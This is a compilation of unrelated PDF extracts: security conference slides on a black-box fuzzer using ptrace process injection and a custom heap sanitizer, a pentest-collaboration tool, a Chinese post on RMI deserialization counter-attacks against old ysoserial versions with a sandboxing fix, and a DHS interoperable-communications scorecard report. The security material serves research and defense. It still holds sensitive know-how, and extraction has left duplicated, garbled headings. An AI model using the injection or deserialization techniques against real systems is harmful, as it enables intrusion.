Seal and dust all cavities, wall plates, artifacts, etc... Install acoustic, ultrasonic, IR, and RF "cloak" as needed Install IPM alarms and associated security system Installation of encryption devices Installation of high security locks, doors, and hinges Installation of physical security devices Client education and training Copyright 2003 Corporate Defense Strategies 56 TSCM Planning and execution of a proper sweep 12. Post Inspection Activities Verbal presentation of findings before leaving Presentation of hard copy report (if requested) Corrective actions Follow up actions Recurring TSCM services (if appropriate) 13. If an Eavesdropping Device or Activity is Detected Collection of documentation regarding device or activity Notification of Law Enforcement Agencies (if appropriate) Forensic Identification and Analysis of Device Counter-surveillance activities Counter-intelligence activities Copyright 2003 Corporate Defense Strategies 57 TSCM Conclusion Thanks to The Granite Island Group Gloucester, MA
pdf
D u m a r t f u z z e r : M a k e t h e d u m b f u z z e r s m a r t 陈振宇 个人安全研究员 背景 • 内存类漏洞占很大比例 • Fuzzing仍然是发现内存类漏洞的重要手段 • 有源码fuzzing工具已经很完善 • 无源码fuzzing的方法缺点较多,一般无源码 的Fuzzing也叫黑盒fuzz • 有时不得不进行黑盒fuzz。如闭源项目。 背景:黑盒fuzz的困难 • 状态机 • dlopen • qemu, unicorn • 效率低 • 缺乏路径反馈 • 没有路径反馈的一般称为dumb fuzz,反之会叫smart fuzz • 没有地址消杀器 • fuzzing without ASAN is a waste of CPU 状态机:是什么,为什么麻烦 • 所有CPU以及内存里的值 • 指针,虚函数表等 • 变量(内存)里保存的值 • 某状态时,cpu寄存器的值 大型软件中,对象间有聚合,依赖, 包含。所有对象都需要满足才能运行。 要运行fuzz,有时即使有源码也是很 复杂的事情 。 背景:如何能做一个最简单的黑盒fuzz • 简单来说,需要2点: • 1、fuzz就是不断地运行某一段代码每次运行,输入变异了的参数 • 2、要运行一段代码,需要准备好代码运行的上下文。这个上下文有时又叫状态机。 状态机:如何简单地获取状态机,提高效率 • 状态机天然在存在我们的测试环境里(业务可以正常运行)。 • 直接发送报文(效率低),只能从处理入口开始fuzz,崩溃检测慢 • 如果可以在正常运行的程序中注入我们的代码就可以获得这个状态机和不断运行被测试对象。 效率会大大提升。 ——进程注入( https://github.com/gaffe23/linux-inject) • 使用系统调用fork,保存系统状态 • 在新进程中可以选择任意函数,甚至任意片段进行fuzz 目标进程 libfuzzer.s o inject Fork process with state machine libfuzzer.so fork 新进程是Fuzzer 原进程继续运行 状态机:注入原理 • 是通过ptrace在目标进程写入一段二进制代码 • 二进制代码执行了__libc_dlopen_mode,把 目标库加载进进程空间 • 恢复进程原本上下文 目标进程 inject bin code libfuzzer.so 加载 状态机: 为什么不在原进程fuzz • 其实是可以的 • 但是: • 一些嵌入式系统有看门狗,在原进程上fuzzing,可能由于响应慢等导致非漏洞的重启 • 需要启动一个新线程来做fuzz • 效率较低 • 全局变量的访问 Fuzzer: 快照,快照的作用 • Afl 有fork server,会不停地执行fork来运行一次测 试对象 • Fork可以恢复运行的状态。但是时间开销较大。 • Afl就有persistent mode减少fork开销。假定每次 运行都是无状态的 。重复运行测试对象。 • Dumart fuzzer模仿persistent mode。保存快照。 用于恢复。 Fuzzer: 保存快照,怎么保存 • 内存: • 扫描进程的内存空间,保存目标的可写段 • 所有堆内存 • 不是一个变量一个变量地记录。整个段保存下来。 • 寄存器: • 在需要保存状态的地方设置断点,通过断点处理程序记录寄存器状态 Fuzzer: 崩溃检测 • 内存类漏洞崩溃时到底发生了什么? • 收到信号SIGSEGV • 注册SIGSEGV信号处理程序,接管SIGSEGV信号 • Unique crash detect: 检查RIP是否唯一 • Unique crash 则保存输入 • 恢复上下文 SIGSEGV handler 保存输入及定 位信息 检测unique crash 恢复状态,继 续fuzz YES NO Fuzzer: 路径反馈是什么 • 路径反馈可以让fuzz运行的更深 • 发现更多问题 • 这是smart fuzz和dumb fuzz最重要的区别 Fuzzer: 路径反馈 • 通过ida脚本,把被测对象的所有block的地址记录下来 • 断点 • 在每个代码块的起始地址改写为断点指令(int 3) • 注册信号处理程序 • 触发新代码块的输入作为种子保存 • 恢复原本的指令 • 继续运行 Block A Block B Block C Int 3 Int 3 Int 3 RIP Original code RIP Original code Fuzzer: 路径反馈 • 打断点 • 断点触发, • 恢复代码 ASAN:是什么 • 发生内存类漏洞时,程序是否一定有异常表现? • NO。如小量越界读写,只要不是读写发生在非法地址,程序是不会崩溃的。 • UAF类型漏洞,程序崩溃现场,调用栈上很可能是没有漏洞的。因为这不是漏洞发生的第一 现场。给定位问题带来困难。 ASAN,一种内存类型漏洞检测技术,在溢出,UAF等漏洞发生时,马上触发程序崩溃 ASAN:编译器实现 • 源码 • 没有ASAN • 开启ASAN • ASAN的编译器实现 • 编译时插桩 • Shadow memory,动态库支持 • 以上2个条件都是黑盒fuzz不具备的 • 所以需要实现一个带asan功能的堆,替换libc的堆 • 堆函数的替换方式,GOT表覆盖。 黑盒ASAN 目标模块 Got: malloc Got: free Got: my_malloc Got: my_free 黑盒ASAN:上溢出检测 • 检测原理,页属性,读,写,执行。 • 准备2个相邻的页作为一个基本内存管理单元(chunk),其中一个是不可读写, 用于作越界检测。 Readable and writable Not readable not writable • Return pointer size 上溢出检测 • my_malloc(size) : • 使用return pointer,如果访问超过size,会触发段错误 可访问边界 低地址 高地址 黑盒ASAN:下溢出检测 • 检测原理,页属性,读,写,执行。 Not readable not writable Readable and writable • Return pointer • my_malloc(size) : • 下溢出检测 • 检测上溢出和下溢出的chunk随机提供 低地址 高地址 黑盒ASAN: UAF • 运行一次被测片段时,chunk不需要重用 • 设置页不可读不可写 • 运行完成一次被测片段,重新初始化堆 • my_free(ptr) : Readable and writable Not readable not writable Not readable not writable ptr • 释放后再使用ptr会触发段错误 黑盒ASAN:chunk的管理 • libc为了复用,chunk使用链表 • 为了效率,这里chunk的管理使用数组。 • 数组每一项管理一个chunk。 • 一次分配一块连续很大的内存(知道基址) • 设置页属性(可/不可读写) • 这样保证了chunk是连续的 • 然后有一个管理结构(数组),对应每一个chunk • 通过地址可以知道下标 • 不是我们定义chunk范围的指针,交给libc处理。 黑盒ASAN: double free • 运行一次代码片段时,chunk是不会真正 free的。 • 每个Chunk有一个管理结构。记录是分配状 态还是释放状态。 • 在free(ptr)时,会检查这个状态是否已经是 free。是则发生了double free。 黑盒ASAN:内存泄露 • 检测原理,chunk在运行一次过程中,是没有真正释放 的(只是设置页属性为不可读写) • 运行完一段代码片段一次时,检查malloc和free的数量 是否一致。 • 但是这个检测准确的前提是,业务中的堆内存不会保存 到全局变量中后续使用。 Fuzzer框架 Dumart fuzzer corpus Mutator Fuzzer Target Crash detector Bin patcher 保存导致crash的输入 动态patch,插入断点 新路径发现则 加到corpus 随机选择种子 输入 GOT hooker DEMO 背景:各种黑盒Fuzz工具比较 路径反馈 ASAN 效率 状态机 其他 Afl-qemu Edge反馈 QASAN 中 困难 Afl unicorn Edge反馈 不支持 中 困难 peach 不支持 不支持 低 困难 Dumb fuzz Frida-fuzzer Edge反馈 不支持 高 容易 Dumart fuzzer Block反馈 支持 很高 容易 需要有root权限的 真实设备 为什么叫Dumart fuzz • Make dumb fuzz smart without SB dumart Todo: edge反馈 • 参考AFL • 动态hook,跳转AFL_maybe_log • 加入位图,记录edge状态 Block Original code Jmp xxx Original code Call afl_maybe_log Jmp back Todo • 更多的架构:如Arm • 变异加入字典功能等
pdf
Collaborative Penetration Testing With Lair About Us • Tom Steele – Consultant at FishNet Security – @_tomsteele • Dan Kottmann – Consultant at FishNet Security – Security assessments – Hobbyist coder – @djkottmann The Problem Lair What is Lair • Web application for managing and tracking the execution of network assessments • Simplifies effort needed to execute a comprehensive, systematic pentest • Open-source project sponsored by FishNet Security • Imports , aggregates, and normalizes output from automated tools Why is it different? • Updates pushed to distributed testers in near real-time (really real-time, no really) – Reduces duplication of effort • Workflow • Status tracking – Enhances information sharing • Credentials/hashes found • Manually identified vulnerabilities • Successful exploitation • False positives • Screenshots – Team Instant Messaging Technology • Web application built on Node.js and Meteor – Simplifies real-time synchronization of information across multiple, distributed clients – Pub/sub concept – No need to fight web sockets • Python used for Drones • MongoDb used for database backend Architecture Long Demo Now Download it https://bitbucket.org/fnsseca/lair
pdf
0x01 前言 看到赛博回忆录白白白师傅发了一篇反制ysoserial的文章,于是兴高采烈的准备自己试一把。结果在自己动手操作的时 候,pa一下,没打成功。于是和木头师傅探讨了一下,因为当时有事,第二天才去调试,发现了这个乌龙。。那就分享 一下思路。 0x02 正片 一、 ysoserial反制 registry.list和registry.bind,这两处就是调用的原生的RegistryImpl_Stub,会触发UnicastRef#invoke- >StreamRemoteCall#executeCall导致反序列化,这里就有反序列化点了。 一开始我对反制存疑,可以看到这里存在了java沙箱的机值,会限制命令的执行。: 后来验证了一下,还真得到了这样的结果: 可以看到确实在右边的最底下可以看到存在自定义的SercurityManager去限制了命令的执行,可以看到箭头上面所指的 地方,这里是在exploit这个方法中执行并捕捉到了命令执行的问题,我们去看源代码: 可以看到第二个箭头所指向的地方,在exploit执行的时候,确实是将整段代码放在沙箱内去执行的。但是我们可以看到 箭头1所指向的位置,理应在这里就会执行反序列化而导致命令的执行。 二、 调试 因为报错信息里面没有关于list方法的报错,先推断一下,我们再去跟着源代码调试一下。 既然list方法并没有执行成功,那应该在这个方法内部会抛出异常。 可以看到list函数抛出了两个异常,分别是AccessException和RemoteException,后面throw的异常都是这两个大类的子 类,应该是会捕获的。上图的try,catch块是捕获ConnectIOException,是RemoteException的子类,应该捕获不了,希望 知道的师傅可以解答一下。 后来当我把jar包拖入idea的时候我傻眼了。我以为用的是最新版本,结果用的是历史版本。 可以看到2018.4.23次的提交支持了sslrmi,在之前用list方法测试了一下,导致了反制的问题。也就是在这个版本之前的 是不会在这个点被反制利用的。 三、 ExecCheckingSecurityManager 那么我们正好来看一下,能否反反制。可以看到ysoserial内置了两个自定义的SecurityManager。而exploit方法内使用的 是第二个sm。让我们来玩玩sm,不是,看看这个sm。 类成员和方法在左边,挑一些说。可以看到checkExec继承父类的方法,这里的cmd参数表示系统特定的命令,在本次调 试中就是 cmd.exe 。后面可以看到抛出了异常[在类对象生成的时候将throwException参数设成了true]。这个 ExecException类的getMessage方法可以在上下文中看到。 接下来看第二个callWrapped方法。 可以看到,首先将系统的sm通过局部变量先保存起来,再将系统的sm设置成当前的ExecCheckingSecurityManager对 象。try块里面调用了callable(可以当作是Runnable接口的增强版)的call方法启动了新的线程,并将结果返回。因为我 们前面提到过,在 ysoserial.secmgr.ExecCheckingSecurityManager 对象生成的时候将throwException参数设成了true, 所以只要进行了命令执行的方法,sm一定会进入checkExec方法,那么一定会直接抛出错误。所以在这里将命令执行终 止。 后续又看了一下绕过沙盒的办法,感觉不适用于此处在checkExec直接抛出异常的问题。 四 、 反反制 上面exploit方法没有执行成功的原因就是把代码放在了沙箱内去执行,所以反反制的方法也非常简单,在try块的list方 法外裹上ysoserial自定义的沙盒。 1.内部类中使用但未声明的任何局部变量必须在内部类的正文之前明确分配。Java匿名内部类的方法中用到的局部变量 都必须定义为final 所以我声明了一下,并且在内部方法内就要捕获这个异常。但是为了照顾到下面的exploit方法,我们必须要将call方法 的参数值进行一个返回,并用一个新的变量接收沙箱内执行的结果。 本来的情况: final Registry sandboxRegistry = registry; //将上面getRegistry获取到的registry放到final变量,方便沙盒内的 Registry receivedRegistry = new ExecCheckingSecurityManager().callWrapped(new Callable<Registry>(){pub try { sandboxRegistry.list(); } catch (ConnectIOException ex) { ex.printStackTrace(); return LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());//处理证书的问题 } return null; }}); if (registry3 != null){ //对返回的参数进行判断 exploit(receivedRegistry, payloadClass, command); }else { exploit(registry, payloadClass, command); } 修改之后的情况: 那么其他工具也可以类推在这些危险方法的内部加上沙盒。 如果有什么错误欢迎各位师傅指正。 0x03 参考: 白白白师傅的文章。 https://www.anquanke.com/post/id/151398 关于沙盒绕过的文章
pdf
Urban/Metropolitan Area i December 2006 Tactical Interoperable Communications Scorecards Tactical Interoperable Communications Scorecards Tactical Interoperable Communications Scorecards Tactical Interoperable Communications Scorecards Tactical Interoperable Communications Scorecards Summary Report and Findings Summary Report and Findings Summary Report and Findings Summary Report and Findings January 2007 January 2007 January 2007 January 2007 Urban/Metropolitan Area ii January 2007 Tactical Interoperable Communications Scorecards TTTTABLE OF CONTENTS ABLE OF CONTENTS ABLE OF CONTENTS ABLE OF CONTENTS TABLE OF CONTENTS TABLE OF CONTENTS TABLE OF CONTENTS TABLE OF CONTENTS................................ ................................ ................................ ................................................................ ................................ ................................ ................................................................ ................................ ................................ ..................................................... ..................... ..................... .....................IIIIIIII EXECUTIVE SUMMARY EXECUTIVE SUMMARY EXECUTIVE SUMMARY EXECUTIVE SUMMARY ................................ ................................ ................................ ................................................................ ................................ ................................ ................................................................ ................................ ................................ .................................................. .................. .................. ..................III IIIIII III INTRODUCTION INTRODUCTION INTRODUCTION INTRODUCTION................................ ................................ ................................ ................................................................ ................................ ................................ ................................................................ ................................ ................................ ............................................................... ............................... ............................... ...............................1111 The Need for a Scorecard ........................................................................................... 1 Scorecard Creation...................................................................................................... 1 Maturity Levels of Tactical Interoperable Communications.......................................... 3 Achieving Tactical Interoperable Communications ...................................................... 4 Scorecard Development Overview .............................................................................. 6 Benefits and Results for Urban/Metropolitan Areas..................................................... 6 PRELIMINAR PRELIMINAR PRELIMINAR PRELIMINARY SCORECARD FINDINGS Y SCORECARD FINDINGS Y SCORECARD FINDINGS Y SCORECARD FINDINGS................................ ................................ ................................ ................................................................ ................................ ................................ ........................................................ ........................ ........................ ........................8888 General Scorecard Trends........................................................................................... 8 Governance Findings.......................................................................................................... 9 Standard Operating Procedures (SOP) Findings .............................................................. 11 Usage Findings................................................................................................................. 13 NEXT STEPS FOR FY 20 NEXT STEPS FOR FY 20 NEXT STEPS FOR FY 20 NEXT STEPS FOR FY 2007 07 07 07 ................................ ................................ ................................ ................................................................ ................................ ................................ ................................................................ ................................ ................................ ......................................... ......... ......... ......... 15 15 15 15 Conclusion................................................................................................................. 15 APPENDIX A: URBAN AR APPENDIX A: URBAN AR APPENDIX A: URBAN AR APPENDIX A: URBAN AREA SCORECARDS EA SCORECARDS EA SCORECARDS EA SCORECARDS................................ ................................ ................................ ................................................................ ................................ ................................ .............................................. .............. .............. .............. AAAA----1111 APPENDIX B: METROPOL APPENDIX B: METROPOL APPENDIX B: METROPOL APPENDIX B: METROPOLITAN AREA SCORECARDS ITAN AREA SCORECARDS ITAN AREA SCORECARDS ITAN AREA SCORECARDS................................ ................................ ................................ ............................................................... ............................... ............................... ............................... BBBB----1111 Urban/Metropolitan Area iii January 2007 Tactical Interoperable Communications Scorecards EXECUTIVE SUMMARY EXECUTIVE SUMMARY EXECUTIVE SUMMARY EXECUTIVE SUMMARY The tactical interoperable communications scorecard assesses the maturity of tactical interoperable communications capabilities in 75 urban/metropolitan1 areas. These scorecards were developed by subject matter expert panels that reviewed documentation on current communications plans, exercises, and a self-assessment to arrive at consensus findings and recommendations for each region on how to best improve that region’s communications capabilities. These scorecards and the recommendations included are being distributed directly to each of the urban/metropolitan areas to focus their regional efforts to improve tactical interoperable communications. The Department of Homeland Security (DHS) is using these scorecards to focus technical assistance programs and target specific areas of improvement in communications interoperability. Overall, the scorecard results show that urban/metropolitan areas have come a long way in improving their tactical interoperable communications capabilities. As documented in the SAFECOM National Baseline Assessment, the technology exists to permit interoperable communications, but solutions are often not available regionally and are far from seamless in many areas. Continued training on available technical solutions and procedures for their use is critical to operational success. Even in areas that have demonstrated success at the tactical, command- level of communications interoperability, there is still work to be done. Multi-agency communications have been addressed within many of these jurisdictions, but regionalizing the existing communications strategies to identify longer term interoperability goals across multiple jurisdictions and levels of government still needs to be addressed. The scorecard evalution specifically focuses on Governance, Standard Operating Procedures (SOP), and Usage elements of the SAFECOM Interoperability Continuum. Preliminary findings for these areas include— Governance—Areas with mature governance structures have advanced further in implementing shared systems/solutions that facilitate regional communications. Regionalized strategic plans are largely not in place and should be developed for communications interoperability with careful consideration for how investments can be shared across the region. SOPs—For many of the urban areas, the Tactical Interoperable Communications Plans (TICP) developed through the Interoperable Communications Technical Assistance Program (ICTAP) provided the first formal, regionwide communications interoperability SOPs. Additional steps should be taken to ensure that these procedures (as well as those outlined in the National Incident Management System) are fully instituted at the command and responder levels. Usage—The proficiency in the use of communications interoperability equipment and accompanying procedures varies by the types of equipment used and is increasingly complex as additional agencies are included in response efforts. In addition, almost no region had completed a communications-focused exercise before the TICP validation exercise, which meant that the areas had no specific practice using their interoperable communications capabilities. A more comprehensive analysis of the scorecards will be developed during the second quarter of fiscal year (FY) 2007 to support the scorecards provided to the urban/metropolitan areas and to outline additional trends in the data and scorecards. With this information, DHS will continue to align its programs and resources to best address the communications needs of first responders. 1 Urban areas are those areas that were previously defined under the FY 2005 Homeland Security Grant Program. Metropolitan areas were not part of UASI but were selected by each state to participate in the Office of Grants and Training TICP process. Urban/Metropolitan Area 1 January 2007 Tactical Interoperable Communications Scorecards INTRODUCTION INTRODUCTION INTRODUCTION INTRODUCTION The Tactical Interoperable Communications Scorecard represents the first measurement of the maturity of communications interoperability in urban/metropolitan areas across the Nation. The results show that urban/metropolitan areas have come a long way in developing their tactical interoperable communications capabilities. As reiterated in the SAFECOM National Baseline Assessment, technology exists to permit interoperable communications, but solutions are often not available regionally and are far from seamless in many areas. The scorecards confirm this fact and show that continued training on available technical solutions and their procedures for use is critical to operational success. In areas that have demonstrated success at the tactical, command- level of communications interoperability, there is still work to be done. The scorecard process highlighted how multi-agency communications has been addressed within many jurisdictions, but regionalizing the existing communications strategies to identify longer term interoperability goals across multiple jurisdictions and levels of government should be addressed. The Need for a Scorecard The Need for a Scorecard The Need for a Scorecard The Need for a Scorecard The tactical interoperable communications2 scorecard effort executes a pledge to provide each urban area with a scorecard made by Department of Homeland Security (DHS) Secretary Michael Chertoff, while speaking to the attendees at the Tactical Interoperable Communications Conference in May 2006. To fulfill this pledge, the DHS Office of Grants and Training (G&T), in consultation with SAFECOM and the Wireless Management Office (WMO), developed a scorecard that assesses the maturity of tactical interoperable communications capabilities in 75 urban/metropolitan3 areas. The scorecard provides an assessment of the progress each urban/metropolitan area has individually achieved with its available means of tactical interoperable communications across three elements (Governance, Standard Operating Procedures [SOP], Usage) of the SAFECOM Interoperability Continuum. The scorecard also provides recommendations on how to best improve an urban/metropolitan area’s capabilities in the immediate future using existing technologies. Scorecard C Scorecard C Scorecard C Scorecard Creation reation reation reation Each scorecard is composed of three main sections. The first section, the Summary, provides a map of the urban/metropolitan area, summary results, and a description of the jurisdictions that comprise the area. The second section, the Findings, includes details on the successes and challenges faced by the urban/metropolitan area, followed by recommendations for the area to 2 Note that tactical interoperability in this context does not address events that result in catastrophic failure or loss of equipment within the urban/metropolitan area. 3 Urban areas are those areas that were previously defined under the Urban Area Security Initiative (UASI). Metropolitan areas were not part of UASI, but were selected by each state to participate in the G&T Tactical Interoperable Communications Plan process. Tactical interoperable Tactical interoperable Tactical interoperable Tactical interoperable communications communications communications communications is defined as the rapid provision of on-scene, incident- based, mission-critical voice communications among all first responder agencies (i.e., emergency medical services [EMS], fire, and law enforcement), as appropriate for the incident. “By the end of this year, each urban area is going to get a scorecard… that will identify gaps and help us to determine the improvements we need to make in the near term.” Secretary Michael Chertoff—Tactical Interoperable Communications Conference, May 8, 2006 Urban/Metropolitan Area 2 January 2007 Tactical Interoperable Communications Scorecards consider when taking steps to improve its interoperable communications capabilities. The final section, Technology Overview, summarizes the communications systems and technologies used in the urban/metropolitan area to achieve interoperability. In Appendices A and B, the scorecard results are organized by urban, metropolitan, and territory areas. The detailed scorecards are provided directly to representatives of the urban/metropolitan areas. The scorecard is based on the SAFECOM Interoperability Continuum and the National Interoperability Baseline Survey4 Interoperability Maturity Measurement Model. Three of the five Continuum elements were measured: Governance, SOPs, and Usage. 4 This survey assessed the capacity for communications interoperability among law enforcement, fire, and emergency medical services (EMS) first responders in the 50 states and the District of Columbia. Area Overview This section defines the geographic region included in the urban/metropolitan area for the Tactical Interoperable Communications Initiative. Category and Score The assessment is broken into three sections: SOPs, Usage, and Governance (based on the SAFECOM Continuum). For each, a “Harvey Ball” score is shown. Findings Each category includes a paragraph explaining the reasoning behind the assigned score. Findings are based on reviewed materials, including: Tactical Interoperable Communications Plan (TICP), TICP Peer review, TICP Validation Exercise (Evaluation Guide [EEG] and After Action Report [AAR]/Improvement Plan [IP]), and Self Assessment discussion. Technology Overview While infrastructure was not specifically assessed, an overview of existing solutions in the region, which were the basis for the TICP and TICP Validation Exercise, is provided. Recommendations Steps are listed to be considered in fiscal year (FY) 2007 to enhance communications interoperability in the region. Achieving Communications Interoperability with Existing Technology Achieving Communications Interoperability with Existing Technology Achieving Communications Interoperability with Existing Technology Achieving Communications Interoperability with Existing Technology The results of the National Baseline Assessment conducted by the SAFECOM Program show that most agencies have at least a minimum technological capability to achieve tactical interoperable communications. Whether through mature, shared systems or simply through swapped radios, the technology that many agencies possess is not the primary issue hampering communications interoperability. Moreover, each urban/metropolitan area has different technology solutions because achieving interoperability is dependent on the existing types of communications equipment and infrastructures each agency employs. Therefore, the voice communications solution that would be considered ideal in one area could be unsuited for another. As the interdependencies of the Interoperability Continuum illustrate, it is the ability to use technology during incident response that allows an area to have improved tactical interoperable communications. Therefore, while the recommendations section of the scorecard will address an urban/metropolitan area's technology gaps identified by the review panel, it also focuses on how best to improve tactical interoperable communications with that area’s existing technologies. Urban/Metropolitan Area 3 January 2007 Tactical Interoperable Communications Scorecards SAFECOM Interoperability Continuum Maturity Levels of Tactical Interoperable Communications Maturity Levels of Tactical Interoperable Communications Maturity Levels of Tactical Interoperable Communications Maturity Levels of Tactical Interoperable Communications The scorecard employs a capabilities maturation model with four stages—Early Implementation, Intermediate Implementation, Established Implementation, and Advanced Implementation. Each of the three elements (Governance, SOPs, and Usage) has its own measure, the results of which are displayed using the Harvey Ball representations illustrated to the right. Because each of the urban/metropolitan areas has already developed and exercised a Tactical Interoperable Communications Plan (TICP), it was determined that the minimum score would be a quarter of a Harvey Ball (“Early Implementation”) instead of an empty Harvey Ball. Summary definitions of each score, included below, provide an understanding of what each urban/metropolitan area generally demonstrated in achieving a given maturity level. Early Implementation Intermediate Implementation Established Implementation Advanced Implementation Urban/Metropolitan Area 4 January 2007 Tactical Interoperable Communications Scorecards Summary Definitions of Interoperable Communications Maturity Levels First responders regularly and seamlessly utilize interoperability solutions. The region demonstrated successful multi-agency communications during exercise(s), including state, federal and support organizations. First responders use interoperability solutions regularly and easily. The region demonstrated successful multi-agency (which may have included state, federal, and support organizations) communications during exercise(s). First responders use interoperability solutions regularly and demonstrated the ability to achieve multi- agency communications despite some challenges during exercise(s). Interoperable communications solutions are rarely used for multi- agency communication and difficulties were encountered in achieving interoperability during exercise(s). Usage Regional SOPs, reviewed through the TICP process, are in place and regularly used by included agencies. NIMS procedures are well established among all agencies and disciplines. All procedures were effectively utilized during exercise(s). Existing regional SOPs were reviewed and included in the TICP, and are in use by included agencies. NIMS- compliant command and control has been instituted by all agencies and disciplines in the region. Despite minor issues, all SOPs were successfully demonstrated during exercise(s). Some existing SOPs were incorporated in the TICP and steps have been taken to institute these interoperability procedures among included agencies. Formal NIMS/ICS procedures are in place, but understanding varies among agencies leading to some issues during the exercise(s). Region-wide SOPs were developed and formalized for the first time through the TICP, but have not been disseminated to all included agencies. Some elements of NIMS/ICS procedures for command and control are in place, but understanding varies among agencies and was an area of difficulty during exercise(s). Standard Operating Procedures (SOP) Decision making bodies proactively look to expand membership to ensure representation from broader public support disciplines and other levels of government, while updating their agreements and strategic plan on a regular basis. Formal agreements outline the roles and responsibilities of a decision making group, which has an agreed upon strategic plan that addresses sustainable funding for collective, regional interoperable communications needs. Some formal agreements exist and informal agreements are in practice among members of a decision making group; regional strategic and budget planning processes are beginning to be put in place. Decision making groups are informal, and do not yet have a strategic plan in place to guide collective communications interoperability goals and funding. Governance Advanced Implementation Established Implementation Intermediate Implementation Early Implementation Elements First responders regularly and seamlessly utilize interoperability solutions. The region demonstrated successful multi-agency communications during exercise(s), including state, federal and support organizations. First responders use interoperability solutions regularly and easily. The region demonstrated successful multi-agency (which may have included state, federal, and support organizations) communications during exercise(s). First responders use interoperability solutions regularly and demonstrated the ability to achieve multi- agency communications despite some challenges during exercise(s). Interoperable communications solutions are rarely used for multi- agency communication and difficulties were encountered in achieving interoperability during exercise(s). Usage Regional SOPs, reviewed through the TICP process, are in place and regularly used by included agencies. NIMS procedures are well established among all agencies and disciplines. All procedures were effectively utilized during exercise(s). Existing regional SOPs were reviewed and included in the TICP, and are in use by included agencies. NIMS- compliant command and control has been instituted by all agencies and disciplines in the region. Despite minor issues, all SOPs were successfully demonstrated during exercise(s). Some existing SOPs were incorporated in the TICP and steps have been taken to institute these interoperability procedures among included agencies. Formal NIMS/ICS procedures are in place, but understanding varies among agencies leading to some issues during the exercise(s). Region-wide SOPs were developed and formalized for the first time through the TICP, but have not been disseminated to all included agencies. Some elements of NIMS/ICS procedures for command and control are in place, but understanding varies among agencies and was an area of difficulty during exercise(s). Standard Operating Procedures (SOP) Decision making bodies proactively look to expand membership to ensure representation from broader public support disciplines and other levels of government, while updating their agreements and strategic plan on a regular basis. Formal agreements outline the roles and responsibilities of a decision making group, which has an agreed upon strategic plan that addresses sustainable funding for collective, regional interoperable communications needs. Some formal agreements exist and informal agreements are in practice among members of a decision making group; regional strategic and budget planning processes are beginning to be put in place. Decision making groups are informal, and do not yet have a strategic plan in place to guide collective communications interoperability goals and funding. Governance Advanced Implementation Established Implementation Intermediate Implementation Early Implementation Elements Achieving Tactical Achieving Tactical Achieving Tactical Achieving Tactical Interoperable Communications Interoperable Communications Interoperable Communications Interoperable Communications Communication interoperability among agencies and jurisdictions is a long-standing problem in the public safety community. Since DHS was established in 2002, it has been working expeditiously to improve interoperable communications. From FY 2003 through FY 2006, more than $2.9 billion in grant assistance has been provided to state and local agencies for equipment and other projects to improve communications interoperability. In addition, programs such as the Interoperable Communications Technical Assistance Program (ICTAP) and SAFECOM have developed tools and expedited technology standards development, testing, and evaluation to assist public safety agencies in the planning and implementation of communications systems. However, as stated by DHS Secretary Michael Chertoff in his May 8, 2006, speech to the Tactical Interoperable Communications Planning Conference,5 public safety still has immediate communications interoperability requirements that need to be identified and rapidly met. DHS understands that barriers to interoperable communications are both technical and operational. Each agency typically has its own unique legacy technologies, requirements, 5 http://www.dhs.gov/xnews/speeches/speech_0281.shtm Progress to Date with Tactical Interoperable Progress to Date with Tactical Interoperable Progress to Date with Tactical Interoperable Progress to Date with Tactical Interoperable Communications Communications Communications Communications Through the development of the TICP, the validation exercises, and the scorecard development, all 75 urban/metropolitan areas have developed the following: • Regional Communications Committee (TICP Requirement) • Regional Equipment Inventory (TICP Requirement) • Regional SOPs (TICP Requirement) • Communications Focused Exercise (Validation Exercise) • Identified communications gaps and recommendations (Scorecard & AAR) 10%5% 5% 5% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area 5 January 2007 Tactical Interoperable Communications Scorecards operating environments, laws, and processes. Therefore, achieving interoperability requires that, in addition to addressing technology and disparate communications systems, agencies examine governance, procedures, training, exercises, and usage. Beginning with the FY 2005 grant cycle, G&T began providing urban/metropolitan areas with operational planning and exercise support to address these needs within the framework of multijurisdictional, multidiscipline incident response. The scorecard is an important milestone in this ongoing process because it marks the culmination of 2 years of planning and exercising tactical interoperable communications capabilities. Beginning with the development of TICPs, DHS required designated urban/metropolitan areas to focus on the creation and/or validation of regional SOPs that, in some cases, represented the first time local jurisdictions had come together to align operational communications plans for incident response. During the same time period, DHS emphasized multijurisdictional and multidiscipline governance structures as demonstrated through the development of the SAFECOM Statewide Communications Interoperability Planning Methodology and the Urban Area Working Group requirements. Some areas had long-standing governance bodies that provided multijurisdictional and multidiscipline leadership in developing longer term communications goals and resource plans. Other areas used the TICP process as an opportunity to bring such leaders to the planning table. Tactical Interoperable Communications Initiative Roadmap FY2003 – FY2005 FY2006 FY2007 Oct Nov Dec Jan Feb Mar Apr May Jul Aug Sept Oct Nov Dec Jan Tactical Interoperable Communications Plan (Apr 2005 – May 2006) Requirement of FY2005 grant guidance required grantees to address operational use of communications equipment purchased to date TICP Validation Exercises (May 2006 – Sep 2006) Announced in May 2006, 75 urban/metropolitan areas were required to complete exercises by September 30. Each exercise was evaluated by a joint federal/peer panel of subject matter experts (SME) Urban Area Self Assessment Discussion (Nov 2006 – Dec 2006) Discussions were held with each urban/metropolitan area to determine its progress in post-TICP exercises and in developing governance structures for longer term interoperability (in accordance with the SAFECOM model) FY2003 – FY2005 Investments $2.1 billion in Homeland Security Grants was used for communications projects through FY2005 After Action Report/Improvement Plans (Aug 2006 – Nov 2006) Findings from each exercise were compiled, and identified gaps were presented to the urban/metropolitan area to develop an improvement plan Scorecards (Nov 2006 – Dec 2006) G&T, the WMO, and SAFECOM developed evaluation criteria in line with the SAFECOM National Baseline Assessment for panels of SMEs to assess each area Urban/Metropolitan Area 6 January 2007 Tactical Interoperable Communications Scorecards As illustrated above, the development of a TICP in each urban/metropolitan area was followed by a validation exercise to demonstrate agencies’ ability to use the TICP procedures with their existing interoperable communications assets. The results of those exercises were provided to the areas to include in improvement plans for future TICP revisions and training efforts. The scorecard summarizes the progress made to date—from the TICP development through the exercise and After Action Reports (AAR)—and provides a foundation for each area’s next steps as it continues to enhance its interoperable communications capabilities. Scorecard Scorecard Scorecard Scorecard Development Development Development Development Overvie Overvie Overvie Overviewwww To complete the scorecards, documentation from the G&T TICP process was reviewed, including the TICP, TICP Peer Review, Exercise Evalution Guide (EEG), AAR, Improvement Plan (IP), and Self Assessment Discussion (described below). Subject matter expert (SME) panels—composed of SMEs with state and local public safety operational and communications technology backgrounds in addition to representatives from G&T, SAFECOM, and the WMO—reviewed all key documents to assess Governance, SOPs, and Usage-related information. Five panels of SMEs met over a 6-week period to review all of the 